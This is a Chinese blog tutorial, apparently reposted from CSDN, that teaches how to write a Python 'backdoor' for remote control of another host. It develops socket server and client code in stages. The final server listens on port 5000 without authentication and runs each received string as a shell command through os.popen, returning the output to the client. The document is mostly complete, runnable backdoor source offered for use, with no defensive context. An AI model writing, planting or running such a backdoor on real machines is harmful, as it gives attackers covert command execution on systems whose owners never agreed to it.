Python 之 后门程序编写与远程控制

socket套接字

客户端程序 与 服务端程序 链接的默认的框架

服务端 必须有ip地址 端口号 传输协议 状态 监听状态

服务端配置启动

源码 服务端配置内容

#!/usr/local/bin/python3
import socket
​
ip = ""   #我哪个ip开放 空表示所有ip
port = 5000 #我要开的端口
​
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #对象s 使用基于tcp协议的网络套接字
s.bind((ip,port)) #对象s 开始绑定ip和端口
s.listen(1) #启动监听状态
​
conn,addr = s.accept() #当与别人建立连接 addr变量存对方ip  conn 连接的对象
print(addr) #显示对方地址
conn.send(b"welcome")  #给对方发送字符串
data = conn.recv(10240) #接收对方字符串
print(data) #打印对方发来的数据
​
conn.close()  #断开连接
s.close()    #关闭套结字

客户端验证

如果要做到远程控制对方主机

先编写一个客户端程序

import socket
​
ip = "192.168.86.11" #对方服务器ip地址
port = 5000 #对方服务器的端口
​
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #链接对方使用tcp协议 对象建立
c.connect((ip,port))
​
data = c.recv(10240) #接收数据
print(data) #打印
c.send(b"HELLO") #发送数据给对方
​
c.close()

升级客户端和服务 源码 实现 循环交互

服务端源码

#!/usr/local/bin/python3
import socket
​
ip = ""   #我哪个ip开放 空表示所有ip
port = 5000 #我要开的端口
​
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #对象s 使用基于tcp协议的网络套接字
s.bind((ip,port)) #对象s 开始绑定ip和端口
s.listen(1) #启动监听状态
​
conn,addr = s.accept() #当与别人建立连接 addr变量存对方ip  conn 连接的对象
print(addr) #显示对方地址
​
while True:
    data = conn.recv(10240) #接收对方字符串 #如果对方不发数据会卡住
    print(data) #打印对方发来的数据
    conn.send(data)
    if data == b"byebye":
        break
​
conn.close()  #断开连接
s.close()    #关闭套结字

客户端源码

import socket
​
ip = "192.168.86.11" #对方服务器ip地址
port = 5000 #对方服务器的端口
​
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #链接对方使用tcp协议 对象建立
c.connect((ip,port))
​
while True:
    data = input("请输入命令:")
    data = bytes(data,encoding="utf8")
    c.send(data) #发送数据给对方
    data2 = c.recv(10240)
    print(data2)
    if data == b"byebye":
        break
​
c.close()

升级可以控制服务端程序

服务端最终源码

#!/usr/local/bin/python3
import socket
import os
​
ip = ""   #我哪个ip开放 空表示所有ip
port = 5000 #我要开的端口
​
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) #关闭后不需要保存状态可以立即开启
s.bind((ip,port)) #对象s 开始绑定ip和端口
s.listen(1) #启动监听状态
​
conn,addr = s.accept() #当与别人建立连接 addr变量存对方ip  conn 连接的对象
print(addr) #显示对方地址
​
while True:
    data = conn.recv(10240) #接收对方字符串 #如果对方不发数据会卡住
    print(data) #打印对方发来的数据
    if data == b"byebye":
        break
    data = str(data,encoding="utf8")
    f = os.popen(data) #可以将命令的内容以读取的方式返回
    data2 = f.read()
    if data2 == "":
        conn.send(b"finish")
    else:
        conn.send(bytes(data2,encoding="utf8"))
​
​
conn.close()  #断开连接
s.close()    #关闭套结字

客户端最终代码

import socket
​
ip = "192.168.86.11" #对方服务器ip地址
port = 5000 #对方服务器的端口
​
c = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #链接对方使用tcp协议 对象建立
c.connect((ip,port))
​
while True:
    data = input("请输入命令:")
    data = bytes(data,encoding="utf8")
    c.send(data) #发送数据给对方
    data2 = c.recv(10240)
    print(str(data2,encoding="utf8"))
    if data == b"byebye":
        break
​
c.close()

猜你喜欢

转载自blog.csdn.net/GUDUzhongliang/article/details/108644450